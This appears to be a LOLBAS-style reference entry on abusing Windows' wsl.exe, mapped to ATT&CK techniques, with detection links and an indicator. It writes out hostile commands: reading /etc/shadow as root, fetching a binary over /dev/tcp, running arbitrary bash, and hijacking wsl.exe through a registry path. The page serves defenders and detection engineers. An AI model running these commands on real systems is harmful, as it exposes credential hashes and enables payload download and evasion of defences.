01 / TRADECRAFT
5 examplesCommand reference
Execute4
EXAMPLE 01T1202
Executes calc.exe from wsl.exe
COMMAND
wsl.exe -e /mnt/c/Windows/System32/calc.exeEXAMPLE 02T1202
Cats /etc/shadow file as root
COMMAND
wsl.exe -u root -e cat /etc/shadowEXAMPLE 03T1202
Executes Linux command (for example via bash) as the default user (unless stated otherwise using `-u <username>`) on the default WSL distro (unless stated otherwise using `-d <distro name>`)
COMMAND
wsl.exe --exec bash -c "{CMD}"EXAMPLE 04T1218
When executed, `wsl.exe` queries the registry value of `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation`, which contains a folder path (`c:\program files\wsl` by default). If the value points to another folder containing a file named `wsl.exe`, it will be executed instead of the legitimate `wsl.exe` in the program files folder.
COMMAND
wsl.exeDownload1
EXAMPLE 01T1105
Downloads file from 192.168.1.10
COMMAND
wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'02 / ON DISK
Known paths
C:\Windows\System32\wsl.exe03 / DEFENSIVE INTELLIGENCE
2 resourcesDetection & indicators
- Sigmaproc_creation_win_wsl_lolbin_execution.ymlgithub.com
- BlockRulemicrosoft recommended block rulesdocs.microsoft.com
Indicators & detection notes
- IOC
Child process from wsl.exe
FURTHER READING
Research & resources
COMMUNITY RESEARCH
Acknowledgements
Alex Ionescu@aionescu
Matt@NotoriousRebel1
Asif Matadar@d1r4c
Nasreddine Bencherchali@nas_bench
Konrad 'unrooted' Klawikowski
Liran Ravich, CardinalOps